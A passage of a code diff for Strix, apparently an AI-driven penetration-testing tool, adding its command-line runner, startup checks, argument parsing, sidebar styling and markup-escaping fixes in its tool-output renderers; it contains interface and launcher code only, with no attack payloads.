"Tab",
|
||||
"Backspace",
|
||||
"Up",
|
||||
"Down",
|
||||
"Left",
|
||||
"Right",
|
||||
"Home",
|
||||
"End",
|
||||
"PageUp",
|
||||
"PageDown",
|
||||
"Insert",
|
||||
"Delete",
|
||||
"Escape",
|
||||
] or input_item.startswith(("^", "C-", "S-", "A-", "F")):
|
||||
if input_item == "Space":
|
||||
command_parts.append(" ")
|
||||
elif input_item == "Tab":
|
||||
command_parts.append("\t")
|
||||
continue
|
||||
else:
|
||||
command_parts.append(input_item)
|
||||
|
||||
command = "".join(command_parts).strip()
|
||||
|
||||
if len(command) > 200:
|
||||
command = command[:197] + "..."
|
||||
|
||||
return cls.escape_markup(command) if command else "bash"
|
||||
@@ -33,18 +33,32 @@ Screen {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
#sidebar {
|
||||
width: 25%;
|
||||
background: transparent;
|
||||
margin-left: 1;
|
||||
}
|
||||
|
||||
#agents_tree {
|
||||
width: 20%;
|
||||
height: 1fr;
|
||||
background: transparent;
|
||||
border: round #262626;
|
||||
border-title-color: #a8a29e;
|
||||
border-title-style: bold;
|
||||
margin-left: 1;
|
||||
padding: 1;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
#stats_display {
|
||||
height: auto;
|
||||
max-height: 15;
|
||||
background: transparent;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
#chat_area_container {
|
||||
width: 80%;
|
||||
width: 75%;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
import atexit
|
||||
import signal
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
from rich.console import Console
|
||||
from rich.live import Live
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.agents.StrixAgent import StrixAgent
|
||||
from strix.llm.config import LLMConfig
|
||||
from strix.telemetry.tracer import Tracer, set_global_tracer
|
||||
|
||||
from .utils import build_final_stats_text, build_live_stats_text, get_severity_color
|
||||
|
||||
|
||||
async def run_cli(args: Any) -> None: # noqa: PLR0915
|
||||
console = Console()
|
||||
|
||||
start_text = Text()
|
||||
start_text.append("🦉 ", style="bold white")
|
||||
start_text.append("STRIX CYBERSECURITY AGENT", style="bold green")
|
||||
|
||||
target_text = Text()
|
||||
if len(args.targets_info) == 1:
|
||||
target_text.append("🎯 Target: ", style="bold cyan")
|
||||
target_text.append(args.targets_info[0]["original"], style="bold white")
|
||||
else:
|
||||
target_text.append("🎯 Targets: ", style="bold cyan")
|
||||
target_text.append(f"{len(args.targets_info)} targets\n", style="bold white")
|
||||
for i, target_info in enumerate(args.targets_info):
|
||||
target_text.append(" • ", style="dim white")
|
||||
target_text.append(target_info["original"], style="white")
|
||||
if i < len(args.targets_info) - 1:
|
||||
target_text.append("\n")
|
||||
|
||||
results_text = Text()
|
||||
results_text.append("📊 Results will be saved to: ", style="bold cyan")
|
||||
results_text.append(f"strix_runs/{args.run_name}", style="bold white")
|
||||
|
||||
note_text = Text()
|
||||
note_text.append("\n\n", style="dim")
|
||||
note_text.append("⏱️ ", style="dim")
|
||||
note_text.append("This may take a while depending on target complexity. ", style="dim")
|
||||
note_text.append("Vulnerabilities will be displayed in real-time.", style="dim")
|
||||
|
||||
startup_panel = Panel(
|
||||
Text.assemble(
|
||||
start_text,
|
||||
"\n\n",
|
||||
target_text,
|
||||
"\n",
|
||||
results_text,
|
||||
note_text,
|
||||
),
|
||||
title="[bold green]🛡️ STRIX PENETRATION TEST INITIATED",
|
||||
title_align="center",
|
||||
border_style="green",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(startup_panel)
|
||||
console.print()
|
||||
|
||||
scan_config = {
|
||||
"scan_id": args.run_name,
|
||||
"targets": args.targets_info,
|
||||
"user_instructions": args.instruction or "",
|
||||
"run_name": args.run_name,
|
||||
}
|
||||
|
||||
llm_config = LLMConfig()
|
||||
agent_config = {
|
||||
"llm_config": llm_config,
|
||||
"max_iterations": 300,
|
||||
"non_interactive": True,
|
||||
}
|
||||
|
||||
if getattr(args, "local_sources", None):
|
||||
agent_config["local_sources"] = args.local_sources
|
||||
|
||||
tracer = Tracer(args.run_name)
|
||||
tracer.set_scan_config(scan_config)
|
||||
|
||||
def display_vulnerability(report_id: str, title: str, content: str, severity: str) -> None:
|
||||
severity_color = get_severity_color(severity.lower())
|
||||
|
||||
vuln_text = Text()
|
||||
vuln_text.append("🐞 ", style="bold red")
|
||||
vuln_text.append("VULNERABILITY FOUND", style="bold red")
|
||||
vuln_text.append(" • ", style="dim white")
|
||||
vuln_text.append(title, style="bold white")
|
||||
|
||||
severity_text = Text()
|
||||
severity_text.append("Severity: ", style="dim white")
|
||||
severity_text.append(severity.upper(), style=f"bold {severity_color}")
|
||||
|
||||
vuln_panel = Panel(
|
||||
Text.assemble(
|
||||
vuln_text,
|
||||
"\n\n",
|
||||
severity_text,
|
||||
"\n\n",
|
||||
content,
|
||||
),
|
||||
title=f"[bold red]🔍 {report_id.upper()}",
|
||||
title_align="left",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print(vuln_panel)
|
||||
console.print()
|
||||
|
||||
tracer.vulnerability_found_callback = display_vulnerability
|
||||
|
||||
def cleanup_on_exit() -> None:
|
||||
tracer.cleanup()
|
||||
|
||||
def signal_handler(_signum: int, _frame: Any) -> None:
|
||||
tracer.cleanup()
|
||||
sys.exit(1)
|
||||
|
||||
atexit.register(cleanup_on_exit)
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
signal.signal(signal.SIGTERM, signal_handler)
|
||||
if hasattr(signal, "SIGHUP"):
|
||||
signal.signal(signal.SIGHUP, signal_handler)
|
||||
|
||||
set_global_tracer(tracer)
|
||||
|
||||
def create_live_status() -> Panel:
|
||||
status_text = Text()
|
||||
status_text.append("🦉 ", style="bold white")
|
||||
status_text.append("Running penetration test...", style="bold #22c55e")
|
||||
status_text.append("\n\n")
|
||||
|
||||
stats_text = build_live_stats_text(tracer)
|
||||
if stats_text:
|
||||
status_text.append(stats_text)
|
||||
|
||||
return Panel(
|
||||
status_text,
|
||||
title="[bold #22c55e]🔍 Live Penetration Test Status",
|
||||
title_align="center",
|
||||
border_style="#22c55e",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
try:
|
||||
console.print()
|
||||
|
||||
with Live(
|
||||
create_live_status(), console=console, refresh_per_second=2, transient=False
|
||||
) as live:
|
||||
stop_updates = threading.Event()
|
||||
|
||||
def update_status() -> None:
|
||||
while not stop_updates.is_set():
|
||||
try:
|
||||
live.update(create_live_status())
|
||||
time.sleep(2)
|
||||
except Exception: # noqa: BLE001
|
||||
break
|
||||
|
||||
update_thread = threading.Thread(target=update_status, daemon=True)
|
||||
update_thread.start()
|
||||
|
||||
try:
|
||||
agent = StrixAgent(agent_config)
|
||||
result = await agent.execute_scan(scan_config)
|
||||
|
||||
if isinstance(result, dict) and not result.get("success", True):
|
||||
error_msg = result.get("error", "Unknown error")
|
||||
console.print()
|
||||
console.print(f"[bold red]❌ Penetration test failed:[/] {error_msg}")
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
finally:
|
||||
stop_updates.set()
|
||||
update_thread.join(timeout=1)
|
||||
|
||||
except Exception as e:
|
||||
console.print(f"[bold red]Error during penetration test:[/] {e}")
|
||||
raise
|
||||
|
||||
console.print()
|
||||
final_stats_text = Text()
|
||||
final_stats_text.append("📊 ", style="bold cyan")
|
||||
final_stats_text.append("PENETRATION TEST COMPLETED", style="bold green")
|
||||
final_stats_text.append("\n\n")
|
||||
|
||||
stats_text = build_final_stats_text(tracer)
|
||||
if stats_text:
|
||||
final_stats_text.append(stats_text)
|
||||
|
||||
final_stats_panel = Panel(
|
||||
final_stats_text,
|
||||
title="[bold green]✅ Final Statistics",
|
||||
title_align="center",
|
||||
border_style="green",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print(final_stats_panel)
|
||||
|
||||
if tracer.final_scan_result:
|
||||
console.print()
|
||||
|
||||
final_report_text = Text()
|
||||
final_report_text.append("📄 ", style="bold cyan")
|
||||
final_report_text.append("FINAL PENETRATION TEST REPORT", style="bold cyan")
|
||||
|
||||
final_report_panel = Panel(
|
||||
Text.assemble(
|
||||
final_report_text,
|
||||
"\n\n",
|
||||
tracer.final_scan_result,
|
||||
),
|
||||
title="[bold cyan]📊 PENETRATION TEST SUMMARY",
|
||||
title_align="center",
|
||||
border_style="cyan",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print(final_report_panel)
|
||||
console.print()
|
||||
@@ -0,0 +1,500 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Strix Agent Interface
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import litellm
|
||||
from docker.errors import DockerException
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.interface.cli import run_cli
|
||||
from strix.interface.tui import run_tui
|
||||
from strix.interface.utils import (
|
||||
assign_workspace_subdirs,
|
||||
build_final_stats_text,
|
||||
check_docker_connection,
|
||||
clone_repository,
|
||||
collect_local_sources,
|
||||
generate_run_name,
|
||||
image_exists,
|
||||
infer_target_type,
|
||||
process_pull_line,
|
||||
validate_llm_response,
|
||||
)
|
||||
from strix.runtime.docker_runtime import STRIX_IMAGE
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
|
||||
logging.getLogger().setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def validate_environment() -> None: # noqa: PLR0912, PLR0915
|
||||
console = Console()
|
||||
missing_required_vars = []
|
||||
missing_optional_vars = []
|
||||
|
||||
if not os.getenv("STRIX_LLM"):
|
||||
missing_required_vars.append("STRIX_LLM")
|
||||
|
||||
has_base_url = any(
|
||||
[
|
||||
os.getenv("LLM_API_BASE"),
|
||||
os.getenv("OPENAI_API_BASE"),
|
||||
os.getenv("LITELLM_BASE_URL"),
|
||||
os.getenv("OLLAMA_API_BASE"),
|
||||
]
|
||||
)
|
||||
|
||||
if not os.getenv("LLM_API_KEY"):
|
||||
if not has_base_url:
|
||||
missing_required_vars.append("LLM_API_KEY")
|
||||
else:
|
||||
missing_optional_vars.append("LLM_API_KEY")
|
||||
|
||||
if not has_base_url:
|
||||
missing_optional_vars.append("LLM_API_BASE")
|
||||
|
||||
if not os.getenv("PERPLEXITY_API_KEY"):
|
||||
missing_optional_vars.append("PERPLEXITY_API_KEY")
|
||||
|
||||
if missing_required_vars:
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
|
||||
for var in missing_required_vars:
|
||||
error_text.append(f"• {var}", style="bold yellow")
|
||||
error_text.append(" is not set\n", style="white")
|
||||
|
||||
if missing_optional_vars:
|
||||
error_text.append("\nOptional environment variables:\n", style="dim white")
|
||||
for var in missing_optional_vars:
|
||||
error_text.append(f"• {var}", style="dim yellow")
|
||||
error_text.append(" is not set\n", style="dim white")
|
||||
|
||||
error_text.append("\nRequired environment variables:\n", style="white")
|
||||
for var in missing_required_vars:
|
||||
if var == "STRIX_LLM":
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("STRIX_LLM", style="bold cyan")
|
||||
error_text.append(
|
||||
" - Model name to use with litellm (e.g., 'openai/gpt-5')\n",
|
||||
style="white",
|
||||
)
|
||||
elif var == "LLM_API_KEY":
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("LLM_API_KEY", style="bold cyan")
|
||||
error_text.append(
|
||||
" - API key for the LLM provider (required for cloud providers)\n",
|
||||
style="white",
|
||||
)
|
||||
|
||||
if missing_optional_vars:
|
||||
error_text.append("\nOptional environment variables:\n", style="white")
|
||||
for var in missing_optional_vars:
|
||||
if var == "LLM_API_KEY":
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("LLM_API_KEY", style="bold cyan")
|
||||
error_text.append(" - API key for the LLM provider\n", style="white")
|
||||
elif var == "LLM_API_BASE":
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("LLM_API_BASE", style="bold cyan")
|
||||
error_text.append(
|
||||
" - Custom API base URL if using local models (e.g., Ollama, LMStudio)\n",
|
||||
style="white",
|
||||
)
|
||||
elif var == "PERPLEXITY_API_KEY":
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("PERPLEXITY_API_KEY", style="bold cyan")
|
||||
error_text.append(
|
||||
" - API key for Perplexity AI web search (enables real-time research)\n",
|
||||
style="white",
|
||||
)
|
||||
|
||||
error_text.append("\nExample setup:\n", style="white")
|
||||
error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white")
|
||||
|
||||
if "LLM_API_KEY" in missing_required_vars:
|
||||
error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white")
|
||||
|
||||
if missing_optional_vars:
|
||||
for var in missing_optional_vars:
|
||||
if var == "LLM_API_KEY":
|
||||
error_text.append(
|
||||
"export LLM_API_KEY='your-api-key-here' # optional with local models\n",
|
||||
style="dim white",
|
||||
)
|
||||
elif var == "LLM_API_BASE":
|
||||
error_text.append(
|
||||
"export LLM_API_BASE='http://localhost:11434' "
|
||||
"# needed for local models only\n",
|
||||
style="dim white",
|
||||
)
|
||||
elif var == "PERPLEXITY_API_KEY":
|
||||
error_text.append(
|
||||
"export PERPLEXITY_API_KEY='your-perplexity-key-here'\n", style="dim white"
|
||||
)
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX CONFIGURATION ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def check_docker_installed() -> None:
|
||||
if shutil.which("docker") is None:
|
||||
console = Console()
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
|
||||
error_text.append(
|
||||
"Please install Docker and ensure the 'docker' command is available.\n\n", style="white"
|
||||
)
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print("\n", panel, "\n")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
async def warm_up_llm() -> None:
|
||||
console = Console()
|
||||
|
||||
try:
|
||||
model_name = os.getenv("STRIX_LLM", "openai/gpt-5")
|
||||
api_key = os.getenv("LLM_API_KEY")
|
||||
|
||||
if api_key:
|
||||
litellm.api_key = api_key
|
||||
|
||||
api_base = (
|
||||
os.getenv("LLM_API_BASE")
|
||||
or os.getenv("OPENAI_API_BASE")
|
||||
or os.getenv("LITELLM_BASE_URL")
|
||||
or os.getenv("OLLAMA_API_BASE")
|
||||
)
|
||||
if api_base:
|
||||
litellm.api_base = api_base
|
||||
|
||||
test_messages = [
|
||||
{"role": "system", "content": "You are a helpful assistant."},
|
||||
{"role": "user", "content": "Reply with just 'OK'."},
|
||||
]
|
||||
|
||||
llm_timeout = int(os.getenv("LLM_TIMEOUT", "600"))
|
||||
|
||||
response = litellm.completion(
|
||||
model=model_name,
|
||||
messages=test_messages,
|
||||
timeout=llm_timeout,
|
||||
)
|
||||
|
||||
validate_llm_response(response)
|
||||
|
||||
except Exception as e: # noqa: BLE001
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("LLM CONNECTION FAILED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("Could not establish connection to the language model.\n", style="white")
|
||||
error_text.append("Please check your configuration and try again.\n", style="white")
|
||||
error_text.append(f"\nError: {e}", style="dim white")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Strix Multi-Agent Cybersecurity Penetration Testing Tool",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Web application penetration test
|
||||
strix --target https://example.com
|
||||
|
||||
# GitHub repository analysis
|
||||
strix --target https://github.com/user/repo
|
||||
strix --target git@github.com:user/repo.git
|
||||
|
||||
# Local code analysis
|
||||
strix --target ./my-project
|
||||
|
||||
# Domain penetration test
|
||||
strix --target example.com
|
||||
|
||||
# IP address penetration test
|
||||
strix --target 192.168.1.42
|
||||
|
||||
# Multiple targets (e.g., white-box testing with source and deployed app)
|
||||
strix --target https://github.com/user/repo --target https://example.com
|
||||
strix --target ./my-project --target https://staging.example.com --target https://prod.example.com
|
||||
|
||||
# Custom instructions (inline)
|
||||
strix --target example.com --instruction "Focus on authentication vulnerabilities"
|
||||
|
||||
# Custom instructions (from file)
|
||||
strix --target example.com --instruction ./instructions.txt
|
||||
strix --target https://app.com --instruction /path/to/detailed_instructions.md
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
"--target",
|
||||
type=str,
|
||||
required=True,
|
||||
action="append",
|
||||
help="Target to test (URL, repository, local directory path, domain name, or IP address). "
|
||||
"Can be specified multiple times for multi-target scans.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--instruction",
|
||||
type=str,
|
||||
help="Custom instructions for the penetration test. This can be "
|
||||
"specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), "
|
||||
"testing approaches (e.g., 'Perform thorough authentication testing'), "
|
||||
"test credentials (e.g., 'Use the following credentials to access the app: "
|
||||
"admin:password123'), "
|
||||
"or areas of interest (e.g., 'Check login API endpoint for security issues'). "
|
||||
"You can also provide a path to a file containing detailed instructions "
|
||||
"(e.g., '--instruction ./instructions.txt').",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--run-name",
|
||||
type=str,
|
||||
help="Custom name for this penetration test run",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--non-interactive",
|
||||
action="store_true",
|
||||
help=(
|
||||
"Run in non-interactive mode (no TUI, exits on completion). "
|
||||
"Default is interactive mode with TUI."
|
||||
),
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.instruction:
|
||||
instruction_path = Path(args.instruction)
|
||||
if instruction_path.exists() and instruction_path.is_file():
|
||||
try:
|
||||
with instruction_path.open(encoding="utf-8") as f:
|
||||
args.instruction = f.read().strip()
|
||||
if not args.instruction:
|
||||
parser.error(f"Instruction file '{instruction_path}' is empty")
|
||||
except Exception as e: # noqa: BLE001
|
||||
parser.error(f"Failed to read instruction file '{instruction_path}': {e}")
|
||||
|
||||
args.targets_info = []
|
||||
for target in args.target:
|
||||
try:
|
||||
target_type, target_dict = infer_target_type(target)
|
||||
|
||||
if target_type == "local_code":
|
||||
display_target = target_dict.get("target_path", target)
|
||||
else:
|
||||
display_target = target
|
||||
|
||||
args.targets_info.append(
|
||||
{"type": target_type, "details": target_dict, "original": display_target}
|
||||
)
|
||||
except ValueError:
|
||||
parser.error(f"Invalid target '{target}'")
|
||||
|
||||
assign_workspace_subdirs(args.targets_info)
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
|
||||
console = Console()
|
||||
tracer = get_global_tracer()
|
||||
|
||||
scan_completed = False
|
||||
if tracer and tracer.scan_results:
|
||||
scan_completed = tracer.scan_results.get("scan_completed", False)
|
||||
|
||||
has_vulnerabilities = tracer and len(tracer.vulnerability_reports) > 0
|
||||
|
||||
completion_text = Text()
|
||||
if scan_completed:
|
||||
completion_text.append("🦉 ", style="bold white")
|
||||
completion_text.append("AGENT FINISHED", style="bold green")
|
||||
completion_text.append(" • ", style="dim white")
|
||||
completion_text.append("Penetration test completed", style="white")
|
||||
else:
|
||||
completion_text.append("🦉 ", style="bold white")
|
||||
completion_text.append("SESSION ENDED", style="bold yellow")
|
||||
completion_text.append(" • ", style="dim white")
|
||||
completion_text.append("Penetration test interrupted by user", style="white")
|
||||
|
||||
stats_text = build_final_stats_text(tracer)
|
||||
|
||||
target_text = Text()
|
||||
if len(args.targets_info) == 1:
|
||||
target_text.append("🎯 Target: ", style="bold cyan")
|
||||
target_text.append(args.targets_info[0]["original"], style="bold white")
|
||||
else:
|
||||
target_text.append("🎯 Targets: ", style="bold cyan")
|
||||
target_text.append(f"{len(args.targets_info)} targets\n", style="bold white")
|
||||
for i, target_info in enumerate(args.targets_info):
|
||||
target_text.append(" • ", style="dim white")
|
||||
target_text.append(target_info["original"], style="white")
|
||||
if i < len(args.targets_info) - 1:
|
||||
target_text.append("\n")
|
||||
|
||||
panel_parts = [completion_text, "\n\n", target_text]
|
||||
|
||||
if stats_text.plain:
|
||||
panel_parts.extend(["\n", stats_text])
|
||||
|
||||
if scan_completed or has_vulnerabilities:
|
||||
results_text = Text()
|
||||
results_text.append("📊 Results Saved To: ", style="bold cyan")
|
||||
results_text.append(str(results_path), style="bold yellow")
|
||||
panel_parts.extend(["\n\n", results_text])
|
||||
|
||||
panel_content = Text.assemble(*panel_parts)
|
||||
|
||||
border_style = "green" if scan_completed else "yellow"
|
||||
|
||||
panel = Panel(
|
||||
panel_content,
|
||||
title="[bold green]🛡️ STRIX CYBERSECURITY AGENT",
|
||||
title_align="center",
|
||||
border_style=border_style,
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
|
||||
|
||||
def pull_docker_image() -> None:
|
||||
console = Console()
|
||||
client = check_docker_connection()
|
||||
|
||||
if image_exists(client, STRIX_IMAGE):
|
||||
return
|
||||
|
||||
console.print()
|
||||
console.print(f"[bold cyan]🐳 Pulling Docker image:[/] {STRIX_IMAGE}")
|
||||
console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]")
|
||||
console.print()
|
||||
|
||||
with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status:
|
||||
try:
|
||||
layers_info: dict[str, str] = {}
|
||||
last_update = ""
|
||||
|
||||
for line in client.api.pull(STRIX_IMAGE, stream=True, decode=True):
|
||||
last_update = process_pull_line(line, layers_info, status, last_update)
|
||||
|
||||
except DockerException as e:
|
||||
console.print()
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("FAILED TO PULL IMAGE", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append(f"Could not download: {STRIX_IMAGE}\n", style="white")
|
||||
error_text.append(str(e), style="dim red")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ DOCKER PULL ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print(panel, "\n")
|
||||
sys.exit(1)
|
||||
|
||||
success_text = Text()
|
||||
success_text.append("✅ ", style="bold green")
|
||||
success_text.append("Successfully pulled Docker image", style="green")
|
||||
console.print(success_text)
|
||||
console.print()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
if sys.platform == "win32":
|
||||
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
|
||||
|
||||
args = parse_arguments()
|
||||
|
||||
check_docker_installed()
|
||||
pull_docker_image()
|
||||
|
||||
validate_environment()
|
||||
asyncio.run(warm_up_llm())
|
||||
|
||||
if not args.run_name:
|
||||
args.run_name = generate_run_name(args.targets_info)
|
||||
|
||||
for target_info in args.targets_info:
|
||||
if target_info["type"] == "repository":
|
||||
repo_url = target_info["details"]["target_repo"]
|
||||
dest_name = target_info["details"].get("workspace_subdir")
|
||||
cloned_path = clone_repository(repo_url, args.run_name, dest_name)
|
||||
target_info["details"]["cloned_repo_path"] = cloned_path
|
||||
|
||||
args.local_sources = collect_local_sources(args.targets_info)
|
||||
|
||||
if args.non_interactive:
|
||||
asyncio.run(run_cli(args))
|
||||
else:
|
||||
asyncio.run(run_tui(args))
|
||||
|
||||
results_path = Path("strix_runs") / args.run_name
|
||||
display_completion_message(args, results_path)
|
||||
|
||||
if args.non_interactive:
|
||||
tracer = get_global_tracer()
|
||||
if tracer and tracer.vulnerability_reports:
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
+1
-1
@@ -31,7 +31,7 @@ class CreateAgentRenderer(BaseToolRenderer):
|
||||
task = args.get("task", "")
|
||||
name = args.get("name", "Agent")
|
||||
|
||||
header = f"🤖 [bold #fbbf24]Creating {name}[/]"
|
||||
header = f"🤖 [bold #fbbf24]Creating {cls.escape_markup(name)}[/]"
|
||||
|
||||
if task:
|
||||
task_display = task[:400] + "..." if len(task) > 400 else task
|
||||
+3
-2
@@ -1,6 +1,7 @@
|
||||
from abc import ABC, abstractmethod
|
||||
from typing import Any, ClassVar
|
||||
from typing import Any, ClassVar, cast
|
||||
|
||||
from rich.markup import escape as rich_escape
|
||||
from textual.widgets import Static
|
||||
|
||||
|
||||
@@ -16,7 +17,7 @@ class BaseToolRenderer(ABC):
|
||||
|
||||
@classmethod
|
||||
def escape_markup(cls, text: str) -> str:
|
||||
return text.replace("[", "\\[").replace("]", "\\]")
|
||||
return cast("str", rich_escape(text))
|
||||
|
||||
@classmethod
|
||||
def format_args(cls, args: dict[str, Any], max_length: int = 500) -> str:
|
||||
+16
-3
@@ -30,6 +30,8 @@ class BrowserRenderer(BaseToolRenderer):
|
||||
url = args.get("url")
|
||||
text = args.get("text")
|
||||
js_code = args.get("js_code")
|
||||
key = args.get("key")
|
||||
file_path = args.get("file_path")
|
||||
|
||||
if action in [
|
||||
"launch",
|
||||
@@ -40,6 +42,8 @@ class BrowserRenderer(BaseToolRenderer):
|
||||
"click",
|
||||
"double_click",
|
||||
"hover",
|
||||
"press_key",
|
||||
"save_pdf",
|
||||
]:
|
||||
if action == "launch":
|
||||
display_url = cls._format_url(url) if url else None
|
||||
@@ -60,33 +64,42 @@ class BrowserRenderer(BaseToolRenderer):
|
||||
message = (
|
||||
f"executing javascript\n{display_js}" if display_js else "executing javascript"
|
||||
)
|
||||
elif action == "press_key":
|
||||
display_key = cls.escape_markup(key) if key else None
|
||||
message = f"pressing key {display_key}" if display_key else "pressing key"
|
||||
elif action == "save_pdf":
|
||||
display_path = cls.escape_markup(file_path) if file_path else None
|
||||
message = f"saving PDF to {display_path}" if display_path else "saving PDF"
|
||||
else:
|
||||
action_words = {
|
||||
"click": "clicking",
|
||||
"double_click": "double clicking",
|
||||
"hover": "hovering",
|
||||
}
|
||||
message = action_words[action]
|
||||
message = cls.escape_markup(action_words[action])
|
||||
|
||||
return f"{browser_icon} [#06b6d4]{message}[/]"
|
||||
|
||||
simple_actions = {
|
||||
"back": "going back in browser history",
|
||||
"forward": "going forward in browser history",
|
||||
"scroll_down": "scrolling down",
|
||||
"scroll_up": "scrolling up",
|
||||
"refresh": "refreshing browser tab",
|
||||
"close_tab": "closing browser tab",
|
||||
"switch_tab": "switching browser tab",
|
||||
"list_tabs": "listing browser tabs",
|
||||
"view_source": "viewing page source",
|
||||
"get_console_logs": "getting console logs",
|
||||
"screenshot": "taking screenshot of browser tab",
|
||||
"wait": "waiting...",
|
||||
"close": "closing browser",
|
||||
}
|
||||
|
||||
if action in simple_actions:
|
||||
return f"{browser_icon} [#06b6d4]{simple_actions[action]}[/]"
|
||||
return f"{browser_icon} [#06b6d4]{cls.escape_markup(simple_actions[action])}[/]"
|
||||
|
||||
return f"{browser_icon} [#06b6d4]{action}[/]"
|
||||
return f"{browser_icon} [#06b6d4]{cls.escape_markup(action)}[/]"
|
||||
|
||||
@classmethod
|
||||
def _format_url(cls, url: str) -> str:
|
||||
+4
@@ -25,6 +25,10 @@ class StrReplaceEditorRenderer(BaseToolRenderer):
|
||||
header = "✏️ [bold #10b981]Editing file[/]"
|
||||
elif command == "create":
|
||||
header = "📝 [bold #10b981]Creating file[/]"
|
||||
elif command == "insert":
|
||||
header = "✏️ [bold #10b981]Inserting text[/]"
|
||||
elif command == "undo_edit":
|
||||
header = "↩️ [bold #10b981]Undoing edit[/]"
|
||||
else:
|
||||
header = "📄 [bold #10b981]File operation[/]"
|
||||
|
||||
+2
-2
@@ -64,7 +64,7 @@ class ViewRequestRenderer(BaseToolRenderer):
|
||||
|
||||
part = args.get("part", "request")
|
||||
|
||||
header = f"👀 [bold #06b6d4]Viewing {part}[/]"
|
||||
header = f"👀 [bold #06b6d4]Viewing {cls.escape_markup(part)}[/]"
|
||||
|
||||
if result and isinstance(result, dict):
|
||||
if "content" in result:
|
||||
@@ -107,7 +107,7 @@ class SendRequestRenderer(BaseToolRenderer):
|
||||
method = args.get("method", "GET")
|
||||
url = args.get("url", "")
|
||||
|
||||
header = f"📤 [bold #06b6d4]Sending {method}[/]"
|
||||
header = f"📤 [bold #06b6d4]Sending {cls.escape_markup(method)}[/]"
|
||||
|
||||
if result and isinstance(result, dict):
|
||||
status_code = result.get("status_code")
|
||||
+1
-1
@@ -21,7 +21,7 @@ class PythonRenderer(BaseToolRenderer):
|
||||
